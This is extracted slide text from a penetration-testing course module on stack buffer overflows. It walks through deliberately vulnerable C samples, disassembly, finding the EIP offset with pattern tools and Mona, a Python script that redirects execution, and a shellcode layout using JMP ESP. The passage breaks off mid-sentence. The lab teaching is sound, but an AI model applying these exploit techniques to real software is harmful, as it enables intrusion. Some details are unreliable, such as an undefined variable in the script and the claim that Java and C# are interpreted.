3.1.

Understanding Buffer Overflows

3.2. Finding Buffer Overflows

3.3. Exploiting Buffer Overflows

3.4. Exploiting a Real-World Buffer Overflow

3.5. Security Implementations

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In the previous module, we used the term “buffer overflow,”
numerous times. But what exactly does that mean?

The term buffer is loosely used to refer to any area in

memory where more than one piece of data is stored. An
overflow occurs when we try to fill more data than the buffer
can handle. You can think an overflow such pouring 5 gallons
of water into a 4-gallon bucket.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

One common place you can see this is either online in Last Name
fields of a registration form.

In this example, the “last name” field has five boxes.

Last Name

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Suppose your last name is OTAVALI (7 characters). Refusing to
truncate your name, you write all seven characters.

Last Name O T A V A

The two extra characters have to go somewhere!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

This is where a buffer overflow happens, which is a condition in a
program where a function attempts to copy more data into a
buffer than it can hold.

If you have allocated a specific amount of space in the stack, for

example, 10, and you exceed this by trying to copy more than 10
characters, then you have a buffer overflow.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Suppose the computer allocates a buffer of
40 bytes (or pieces) of memory to store 10
integers (4 bytes per integer).

An attacker sends the computer 11 integers

(a total of 44 bytes) as input.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Whatever was in the location after the ten
40 bytes (allocated for our buffer), gets
overwritten with the 11th integer of our
input.

Remember that the stack grows backward.

Therefore the data in the buffer are copied
from lowest memory addresses to highest
memory addresses.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now for some fun creating our own buffer overflows with real
examples of vulnerable code.

As usual, we are going to build up to more complex examples and

concepts slowly.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Please review the following code. What can you tell about it?

int main(int argc, char** argv)

{
argv[1] = (char*)"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char buffer[10];
strcpy(buffer, argv[1]);
}

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

• The array of characters (buffer) is 10 bytes long.
• The code uses the function strcpy.

Try to copy more data than the buffer can handle, using strcpy.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We can see that argv[1] contains 35 A characters, while the
buffer can handle only 10. When the program runs, the exceeding
data has to go somewhere, and it will overwrite something in the
memory: this is a buffer overflow.

Program Crashes.

The vulnerable function is strcpy.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Without going into detail of the function, you should know that the
function does not check for bounds. Therefore, if the source,
argv[1], is bigger than the destination, buffer, an overflow
occurs.

This means that whatever was in the memory location right after
the buffer, is overwritten with our input.

But what can you do with that?

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In this example, it causes the application to crash. But, an attacker
may be able to craft the input in a way that the program executes
specific code, allowing the attacker to gain control of the program
flow.

We will see this in a moment.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

There is a safe version of the strcpy function, and it is called
strncpy (notice the n in the function name). With this
knowledge, we can say that a safe implementation of the previous
program would be something like this:
int main(int argc, char** argv)
{
argv[1] = (char*)"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char buffer[10];
strncpy(buffer, argv[1], sizeof(buffer));
return 0;
}

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In the above code, there will be no overflow because the data we
can copy is limited. This time the function will only copy 10 bytes
of data from argv[1], while the rest will be discarded.

Now let’s examine this same example by observing what is

happening in the stack; this will help you understand what
happens when an overflow occurs.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The following is the new stack frame
....
process review: Other local variables
• Push the function parameters Buffer [10]
EBP
• Call the function Return address of function (EIP)
• Execute the prologue (which Parameters of function
updates EBP and ESP to create Local variables of main
Return address of main
the new stack frame)
Parameters of main
• Allocate local variable .....

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

When the strcpy function gets executed, it starts copying our
input into the memory address allocated for buffer[10]. Since
there is not enough space, our input will be copied in the next
memory address and will continue to fill memory addresses until
there is no more input.

While this is happening, it will also be overwriting all the data in

those memory locations and causing the overflow.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

What is getting overwritten?

As you can see in this stack representation, this data includes the
EBP, the EIP and all the other bytes related to the previous stack
frame.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Therefore, at the end of the strcpy instructions, our stack will
look like the following:
.... ....
Other local variables Other local variables
Buffer [10] AAAA
Old EBP
EBP AAAA
AAAA Old EIP
Return address of function (EIP)
Parameters of function AAAA
Main stack
Local variables of main AAAA frame
Return address of main AAAA parameters and
Parameters of main AAAA variables

..... .....

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

What can a pen tester do with this?

Since the EIP has been overwritten with AAAA, once the epilogue
takes place, the program will try to return to a completely wrong
address. Remember that EIP points to the next instruction. An
attacker can craft the payload in the input of the program to get
the control of the program flow and return the function to a
specific memory address location. This is where it is important to
know memory addresses of certain registers.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Here is a more challenging example that will help us understand
this even better. The code goodpwd.cpp is available in the
3_Buffer_Overflow.zip file in the members area.

Again, read through the code and identify anything interesting.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 #include <iostream>
#include <cstring>

int bf_overflow(char *str){

char buffer[10]; //our buffer
strcpy(buffer,str); //the vulnerable command
return 0;
Here is the source }

code of the program. int good_password(){ // a function which is never executed

printf("Valid password supplied\n");
printf("This is good_password function \n");
}

int main(int argc, char *argv[]) {

int password=0; // controls whether password is valid or not
We suggest you printf("You are in goodpwd.exe now\n");
bf_overflow(argv[1]); //call the function and pass user input

download the file. if ( password == 1) {

good_password(); //this should never happen
} else {
printf("Invalid Password!!!\n");
}
printf("Quitting sample1.exe\n");
return 0;
}

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Run the function good_password

• The function good_password is never executed. (Why?)

• Because the variable password is set to 0 in the first
instruction of the main.
• Ex: int password=0;
• The function bf_overflow contains the vulnerable function
that will cause the buffer overflow.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Our goal is to find a way to call the good_password function
and force the program to print the message Valid password
supplied.

See if the application is vulnerable to buffer overflow by providing

a long input:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The program crashes, and if we debug it with Visual Studio, we will
see the following message:

What does this mean?

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

From the message box, we can see that the program tried to
access the location pointed to 0x41414141 (0x41 is the
hexadecimal value of A).

This means that we have overwritten the EIP with our input,
causing the overflow and then crashing the program. The EIP,
instruction pointer, tells the program what to run next, but as a
result of all of our A’s, that address value is A.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

What is the next step?

We would like to use this buffer overflow to take control of the

program execution and be able to execute the function
good_password. The idea is to craft an input that forces the
program to jump into the memory address of the function.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

How do we do this?

The important thing to remember here is that to perform a buffer

overflow, you need to put specific code in specific space in the
stack. Our example used a string of A’s that caused it to crash, but
was it 20 A’s, 32 A’s, 50 A’s or 100? This is one of the very
important questions that we need the answer to. The second
question is: what address do we want written in the EIP?

Let us see how to find out that information.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Open a command prompt and execute the following command to
disassemble the program.

objdump -d -Mintel goodpwd.exe > goodpwd_disassembled.txt

This command will invoke the disassembler and will give us the
ASM version of the executable.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 00401529 <__Z11bf_overflowPc>:
401529: 55 push ebp
40152a: 89 e5 mov ebp,esp
Open the txt file and 40152c:
40152f:
83 ec 28
8b 45 08
sub
mov
esp,0x28
eax,DWORD PTR [ebp+0x8]

inspect its content. 401532:

401536:
89 44 24 04
8d 45 ee
mov
lea
DWORD PTR [esp+0x4],eax
eax,[ebp-0x12]
401539: 89 04 24 mov DWORD PTR [esp],eax
40153c: e8 17 84 01 00 call 419958 <_strcpy>
401541: b8 00 00 00 00 mov eax,0x0
401546: c9 leave
Keep scrolling 401547: c3 ret

00401548 <__Z13good_passwordv>:
through the file, and 401548: 55 push ebp
401549: 89 e5 mov ebp,esp
you will find 40154b:
40154e:
83 ec 18
c7 04 24 00 80 48 00
sub
mov
esp,0x18
DWORD PTR [esp],0x488000

something similar to 401555:

40155a:
e8 a6 ff ff ff
c7 04 24 1c 80 48 00
call
mov
401500 <__ZL6printfPKcz>
DWORD PTR [esp],0x48801c
401561: e8 9a ff ff ff call 401500 <__ZL6printfPKcz>
the following: 401566:
401567:
c9
c3
leave
ret

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

From the previous results we can see that:
• bf_overflow function is at address 00401529
• good_password function is at address 00401548

What we have to do now is find the EIP.

By overwriting the EIP, we can control the application execution

flow (EIP is the return address). Let us see how to do this.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Execute the following command from the Windows command
prompt:
goodpwd.exe AABCD

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now execute the same command, but adding one A character at
the beginning each time:
goodpwd.exe AAABCD
goodpwd.exe AAAABCD
goodpwd.exe AAAAABCD
and so on

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

At a certain point, we will trigger the buffer overflow causing the
program to crash.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We need to know the specific spot, down to the exact number of
additional characters.

Why not use all A’s? The reason why the final three characters are
different is because by doing that, when we view the exception
error, it will tell us what character we errored at.

Since we want to know the exact location, this change in character

will save you time later.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

To do this, let us debug the program with Visual Studio. We can
debug and set the parameters of the program directly from there.
• First, open Visual Studio
• Second, click on File->Open->NewProject
• Third, select the executable file [Exe Project Files (*.exe)],
in our case goodpwd.exe.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Once the executable is loaded, you can open the program
properties, using the wrench icon (or the shortcut Alt+Enter) and
set the arguments of the program in the new panel that appears.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Once the arguments field is set, click on the green play button
on the top bar to run the program.

You can stop the debugging by clicking on the stop button,

change the arguments value and restart the debugger.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As you can see in the following screenshot, it seems that we have
another buffer overflow, also called smashed the stack or stack
smashing. Reviewing the error, you should notice that the error
was because of 0x15. This means that the EIP has not been
overwritten with our data since 0x15 is not part of our input.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We can now try adding a few more A characters into our input
until we see something like the following:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The line "Access violation reading location 0x44434241" is what
we want; this stands for ABCD using the hexadecimal (according to
ASCII chart) values as follows 0x41(A), 0x42(B), 0x43(C),
0x44(D).

The application crashes because it cannot execute the instruction

contained at that specific address in memory.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Note: you will see the EIP in the reverse order (0x44434241)
because Windows uses little-endian and thus, the most significant
byte comes at the lowest position.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

What is happening is that the value ABCD is overwriting the
correct EIP in the stack.

Now comes the magic. In order to gain control if this program, we

have to replace the EIP (ABCD in our input) with the address of the
good_password function. We disassembled it previously and
discovered the address to be 00401548. By inserting this address
to the EIP location, we are forcing the program to return to the
good_password memory address and execute its code.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Since the command prompt does not allow us to supply
hexadecimal data as an argument, we will need a helper
application to exploit the program.

The helper program is given in the helper.cpp contained in the

3_Buffer_Overflow.zip package.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The helper calls goodpwd.exe and provides the correct payload. If
we check the input that overwrote the EIP with 0x44434241, it
is composed of 22 A characters and then ABCD.

Therefore, the helper program will fill the first 22 characters with
some junk bytes and then append the address of
good_function (00401548).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Once again, the helper is only meant to help us to pass the
hexadecimal code as an argument. There are many different
options and scripts that we can use to do this. We can achieve the
same with the following Python code:
import sys
import os
payload = "\x41"*22
payload += "\x48\x15\x40"
command = "goodpwd.exe %s" %(payload)

print path
os.system(command)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Notice that we did not add \x00 to the payload since this is a
NULL byte. Although we will talk more about NULL bytes in the
next section, for now, you just need to know that when functions
such as strcpy encounter a NULL byte in the source string, they
will stop copying data.

This is very important since our entire payload must be free of

NULL bytes. Otherwise, our exploit will not work.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Let’s now compile the helper and save it in the same path of
goodpwd.exe. Once we run it, we will see something like this in
our command prompt:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We successfully called the good_password function!

However, the program might/might not crash after executing the

above function.

If it does crash, it might be that we have damaged some other

registers or data on the stack which might be useful.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Note that, once we have reached this goal of running our function,
our job is done.

What happens to the target application is not our concern? One

way to think of this is, what if our payload was a backdoor? Once
the buffer overflow is successful, and the backdoor is open, it does
not matter what the target application does.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

To understand the entire process, the next video will show you
how to debug the program goodpwd.exe.

This will not only help you understand how the application works
but also how our input overwrites the return address in the stack,
causing the crash of the application.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Before studying how to exploit buffer overflows and execute
payloads, it is important to know how to find them. Any
application that uses unsafe operations, such as those below
(there are many others), might be vulnerable to buffer overflows.

• strcpy • strcat • gets / fgets • scanf / fscanf

• vsprintf • printf • memcpy

But, it actually depends on how the function is used:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Any function which carries out the following operations may be
vulnerable to buffer overflows:
• Does not properly validate inputs before operating
• Does not check input boundaries

However, buffer overflows are problems of unsafe languages,

which allow the use of pointers or provide raw access to memory.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

All the interpreted languages such as C#, Visual Basic, .Net, JAVA,
etc. are safe from such vulnerabilities.

Moreover, buffer overflows can be triggered by any of the

following buffer operations:
• User input
• Data loaded from a disk
• Data from the network

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 As you can imagine, if we want to manually find a buffer overflow
in a large application, it may be difficult and time-consuming.

However, we will document some of the techniques that make this

process easier, such as:
• If you are the developer of the software and you have access
to the source code, such as static analysis tools such as splint (
http://www.splint.org/, Cppcheck, etc.), such tools will try to
detect not only buffer overflows but also some other types of
errors.
http://www.splint.org/
http://sourceforge.net/apps/mediawiki/cppcheck/index.php
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
 Other techniques are the followings:
• When a crash occurs, be prepared to hunt for the
vulnerability with a debugger (the most efficient and well-
known technique). Some companies use cloud-fuzzing to
brute-force crashing (using file-based inputs). Whenever a
crash is found, it is recorded for further analysis.

• A dynamic analysis tool like a fuzzer or tracer, which tracks all

executions and the data flow, help in finding problems.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

All the above techniques can give you a big number of
vulnerabilities (such as overflows, negative indexing of an array
and so on), but the problem lies in exploiting the vulnerability.

A large number of vulnerabilities are un-exploitable. Almost 50% of

vulnerabilities are not exploitable at all, but they may lead to DOS
(denial of service attacks) or cause other side-effects.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Fuzzing is a software testing technique that provides invalid data,
i.e., unexpected or random data as input to a program. Input can
be in any form such as:
• Command line • Parameters
• Network data • File input
• Databases • Shared memory regions
• Keyboard/mouse input • Environment variables

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

This technique basically works by supplying a random data to the
program, and then the program is checked for incorrect behavior
such as:
• Memory hogging
• CPU hogging
• Crashing

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Whenever inconsistent behavior is found, all related information is
collected, which will later be used by the operator to recreate the
case and hunt-down/solve the problem.

However, fuzzing is an exponential problem and is also resource-

intensive, and therefore, in reality, it cannot be used to test all the
cases.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Some of the fuzzing tools and frameworks are:
• Peach Fuzzing Platform
• Sulley
• Sfuzz
• FileFuzz

https://www.peach.tech/ https://github.com/orgcandman/Simple-Fuzzer
https://github.com/OpenRCE/sulley https://packetstormsecurity.com/files/39626/FileFuzz.zip.html
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Let's now see how to find buffer overflows in the binary programs
process. We will consider a very simple program in order to give
you a full understanding of what is going on at almost every stage.

Remember that having a clear understanding of how the stack

works will make you a better researcher.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Let’s see how to identify a buffer overflow after the crash of the
application.

We will use a sample application named cookie.c. You can find

it in the 3_Buffer_Overflow.zip file in the members area.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The code is as follows:
#include <stdio.h>

int main()
{
int cookie=0;
char buffer[4];
printf("cookie = %08X\n",cookie);
gets(buffer);
printf("cookie = %08X\n",cookie);
if(cookie == 0x31323334 )
{
printf("you win!\n");
}
else
{
printf("try again!\n");
}

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

First, we will go through the process of understanding the code,
and then we will exploit it.

First, obtain the disassembled code using the following command:

objdump.exe -d -Mintel cookie.exe > disasm.txt

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Notice that depending on the compiler used, you can obtain
different results. In the 3_Buffer_Overflow.zip file, you can also
find a compiled version of the program.

A good exercise at this point can be spotting the differences

between your compiled version and the one provided by us.
Notice that in the zip file you can also find the commented version
of the disassembled main function.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Search for the main function and then try to correlate the C++
source code to the respective disassembled version. In the next
few slides you can see the commented version of the disassembled
code:
00401290 <_main>:
401290: 55 push ebp
401291: 89 e5 mov ebp,esp
401293: 83 ec 18 sub esp,0x18 ;Setup stackframe
401296: 83 e4 f0 and esp,0xfffffff0
401299: b8 00 00 00 00 mov eax,0x0 ;Calculate stack cookie
40129e: 83 c0 0f add eax,0xf ;The cookie is used
4012a1: 83 c0 0f add eax,0xf ;Detect stack overflow
…

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 …
4012a4: c1 e8 04 shr eax,0x4
4012a7: c1 e0 04 shl eax,0x4
4012aa: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
4012ad: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
4012b0: e8 ab 04 00 00 call 401760 <___chkstk>
4012b5: e8 46 01 00 00 call 401400 <___main>
4012ba: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-0x4],0x0 ;This is
our cookie
4012c1: 8b 45 fc mov eax,DWORD PTR [ebp-0x4]
4012c4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax ;Points to
cookie variable
4012c8: c7 04 24 00 30 40 00 mov DWORD PTR [esp],0x403000 ;Points to
cookie = “%08X\n”
4012cf: e8 8c 05 00 00 call 401860 <_printf>
4012d4: 8d 45 f8 lea eax,[ebp-0x8]
4012d7: 89 04 24 mov DWORD PTR [esp],eax
4012da: e8 71 05 00 00 call 401850 <_gets> ;Call gets
4012df: 8b 45 fc mov eax,DWORD PTR [ebp-0x4]
…

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 …
4012e2: 89 44 24 04 mov DWORD PTR [esp+0x4],eax ;Points to
cookie variable
4012e6: c7 04 24 00 30 40 00 mov DWORD PTR [esp],0x403000 ;Points to
cookie = “%08X\n”
4012ed: e8 6e 05 00 00 call 401860 <_printf> ;Call printf
function
4012f2: 81 7d fc 34 33 32 31 cmp DWORD PTR [ebp-0x4],0x31323334
;Compare value of cookie
4012f9: 75 0e jne 401309 <_main+0x79>
4012fb: c7 04 24 0f 30 40 00 mov DWORD PTR [esp],0x40300f ;The if
condition
401302: e8 59 05 00 00 call 401860 <_printf> ;Print “you win”
401307: eb 0c jmp 401315 <_main+0x85>
401309: c7 04 24 19 30 40 00 mov DWORD PTR [esp],0x403019
401310: e8 4b 05 00 00 call 401860 <_printf> ;Print “try again”
401315: c9 leave
401316: c3 ret

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In this sample, the message you win! is never printed on screen
because the cookie variable is set to 0 and never changes.

However, since the function gets can be overflowed, we will

demonstrate that we can:
• Easily control program flow using variable control
• Buffer overflows can even be controlled via keyboard-inputs
(though it's hard to type shell-code using hand, but nonetheless, it
can be done).
• Find overflows in binaries

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As you can see from the code, the content of the variable cookie
is not controlled by user input. Only buffer[4] is.

How do we change the variable cookie to have the You win!

message printed on screen?

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

So, get out your pen and paper and let’s draw the stack frame for
the main function:
...
buffer[4] -8 <- ESP
Int cookie=0 -4
Old EBP 0 <- current EBP
Return address of function +4
main() parameters +8
...

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

From the previous representation we can see that buffer[4] is
4 bytes long (so 32 bits and 1 location). It gets filled with user
input. Right below buffer[4] location, we find our variable
cookie.

From the stack frame that you should have created on your own,
you can see that: all local variables can be accessed using:
• [EBP – x] → local variables
• [EBP + x] → function parameters

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Also, note that since ESP points to the top of the stack, things such
as local variables and function arguments can also be accessed
using the [ESP + x] combination. As you already know, the
square brackets are an assembly language notation used to
indicate that we are pointing to the memory.

This means we are pointing to data stored at memory location

[EBP + x] and not the value EBP + X.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

So now, the main function stack frame is as follows:

• [EBP-12]-> Compiler induced “stack verifying cookie” (we

don’t care about this)

• [EBP-8]-> array buffer

• [EBP-4]-> variable cookie

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now that you can convert the program to pseudo-code, you can
easily tell that the user-input is not verified and therefore, has a
buffer overflow vulnerability.

We can say this because, the function gets never verifies the
length of the data (also note stack space is limited) and in this case,
user has full control over the data. Therefore, it is susceptible to an
overflow.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now, it is time to exploit the information obtained above.

Looking at the stack, you should notice that if [EBP-4] can be

controlled, then we can reverse the jump and thus control the
program flow.

Also, note that we have complete control over the variable

buffer.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We can run the program cookie.exe and then type
111111111. You will see that the cookie has been controlled and
the current value is 0x31313131. ASCII code for 1 is 0x31, for 2
it's 0x32 and so on:

You can also perform the above steps in Immunity Debugger to see
how things change in real time. Open cookie.exe from
Immunity Debugger and repeat the steps from above.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Another great tool that will help you identify buffer overflows is
IDA Pro. You can download a free non-commercial edition from
http://www.hex-rays.com. The complete use of the tool is out of
the scope of this module, but we strongly suggest you try and test
it.

Understanding the differences between IDA Pro and Immunity

Debugger is a great start. We strongly suggest you try different
debuggers in order to find the one that fits better your needs.
https://www.hex-rays.com/

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Open the cookie.exe program in IDA and observe what
happens. IDA Pro shows the stack frame on top of every
function:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

IDA is a great disassembler that resolves pointers and strings
making disassembled code easy to understand and perfect for
analysis.
var_4 is our “cookie” variable. First it is copied
to EAX and then passed to printf function

Similar to the above printf

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Penetration Testing Professional 5.0 – Caendra Inc. © 2018
So far we have seen how to find a buffer overflow and how it
works. So how can we exploit this vulnerability? Since we already
know how the good password program works, we will try to
exploit it. The purpose will be to craft a payload that will allow us
to run calc.exe.

We already know the size of the input that allows us to overwrite

the return address. When using the following input, we overwrite
EIP with ABCD:
AAAAAAAAAAAAAAAAAAAAAAABCD

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As you can see in the following
screenshot, when we use the
previous input and the program
crashes, ESP points to the exact
location after the return address
(0028FE90).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

So the stack looks like the following:
18 bytes of A characters 4 byes of A characters 4 bytes - ABCD OTHER
Junk bytes Old EBP Old EIP This is where we will
(Padding to reach EBP) (Overwritten) (return address) insert our payload

At this point, EIP points to 44434241 (ABCD), while ESP points to

OTHER. In order to execute our shellcode, we will have to
overwrite the EIP (ABCD) with the address of our shellcode.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Since ESP points to the next address after the return address
location in memory (OTHER), we can place the shellcode starting
from that location!

Basically, we need to fill the first 22 bytes (local vars + EBP), with
junk data (NOP’s), rewrite the EIP and then insert the shell code.

Junk Bytes (22 bytes) + EIP address (4 bytes) + Shellcode

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In the previous example, it was easy to find the right offset where
to overwrite the EIP address. In a real exploitation process, things
might not be so simple.

Let’s suppose that we found a vulnerable application that we

caused to crash by sending 1500 characters and that the EIP has
been overwritten by our input. Knowing the correct amount of
junk bytes needed to overwrite the EIP address may be tedious
and time-consuming if we had to do it manually.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

For example, if we crashed the application with 1500 bytes, and
we want to detect the correct amount of bytes to reach the EIP we
may do something like the following.

The application crashes with 1500 bytes. Therefore, we will check

if it still crashes (and if the EIP gets overwritten) by sending
1500/2 bytes = 750 bytes.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Depending on the results:
• If the applications crashes, we will continue splitting the
amount by 2(750/2).
• If the application doesn’t crash, we will add half of the
amount to our bytes: 750+(750/2) = 1125. This is a
number between 750 and 1500.

Let us keep doing this until we reach the exact number of junk
bytes. As you can imagine, this process may take a while. But, time
is precious, that's why we use scripts and tools!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Scripts like pattern_create and pattern_offset make this task much
easier. These two files linked in the slide come with the Metasploit
framework.

You are not limited to just these scripts; a simple web search will
allow you to find many other implementations of these same files
(C, Python, etc.).

https://github.com/lattera/metasploit/blob/master/tools/pattern_create.rb
https://github.com/lattera/metasploit/blob/master/tools/pattern_offset.rb
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
The purpose of these scripts are very simple: pattern_create
creates a payload that is as long as the number we specify. Once
the tool creates the pattern, we replace our payload made by A
characters with this new pattern.

We will have to specify the value in the EIP register to the point
when the application crashes. Providing this number to the second
file, pattern_offset will give us the exact number of junk
bytes that we need to reach the EIP.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Here is an example to better understand how this works. Once
again, we will use the previous target application. The file is called
pattern_create.rb (a Ruby file) and the length of the
pattern is the number after the filename.

Generate the payload with the following command

./pattern_create.rb 100

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Copy the ASCII payload and use it as the input in the good
password application. As we already know, the application can't
handle such a payload and will crash. Once it crashes, we will have
to debug it in order to obtain the overwritten value. In our case we
can see that the value is 0x61413761:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Copy this value (EIP)and use it as input for the second script:
pattern_offset.rb:

As we can see from the screenshot, it returns 22! This is the exact
offset that we manually calculated before.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 We can execute the entire process in Immunity Debugger. But first,
we need to download the Mona plugin.

We will talk about the Mona plugin later, but for now, let’s copy
the mona.py file into the PyCommand folder (inside the
Immunity Debugger installation folder) and see how we can use it
to calculate the offset from Immunity Debugger.

https://github.com/corelan/mona

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Copy the file
Open Immunity Debugger
Load the good password application

Before running it, we need to configure the working folder for

Mona. In the command line field, at the bottom of the Immunity
Debugger window, run the following command:
!mona config -set workingfolder C:\ImmunityLogs\%p

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In the previous command, C:\ImmunityLogs\ is the folder
that we want to use. We are telling Mona to use the specified
folder to store all the data and files that will be generated.

Use Mona to create the payload. The command to use is:

!mona pc 100

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Notice that the payload is identical to the one generated with
pattern_create. Therefore the EIP will be overwritten with
the same value:

In the following screenshot, we can see the value of EIP once the
application crashes. Once again it is 61413761.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Use Mona to find the correct offset. We can do this with the
following command:
!mona po 61413761

As we can see, Mona returns that the correct pattern is at the

position 22.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Another very useful command that we can use is ‘suggest.’ Once
the application crashes and the EIP is overwritten with the pattern
created by Mona, we can run:
!mona suggest

Mona will ask us to provide some information about the payload

and will automatically create a Metasploit module for exploiting
the application!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The following screenshot shows the results of the previous
command.

You will find all the files in the working directory.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now that we know the correct size of our payload, we have to
overwrite the EIP with a value. Remember that the value we
overwrite will be used by the RET instruction to return.

Where do we want it to return?

We want to return to our shellcode so that it gets executed!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

At this point, our shellcode is stored at the memory address
pointed by ESP, therefore, returning to our shellcode means
jumping to that address.

The problem is that the address in the stack changes dynamically,

so we cannot use it to build the exploit.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

What we can do is find a JMP ESP (or CALL ESP) instruction that is
in a fixed location of memory.

This way when the program returns, instead of ABCD, it will

execute a JMP ESP (or CALL ESP), and it will automatically jump to
the area where our shellcode is stored.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In environments where ASLR is not enabled, we know that
kernel32.dll functions are located at fixed addresses in
memory; this allows us to perform a JMP ESP or a CALL ESP to the
process address space, a line in kernel32.dll.

We can safely jump to this line and back from the kernel32 to the
address in ESP (that holds the first line of our shell code).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

There are different tools and techniques that we can use to detect
the address of a CALL/JMP ESP. One of them is to simply
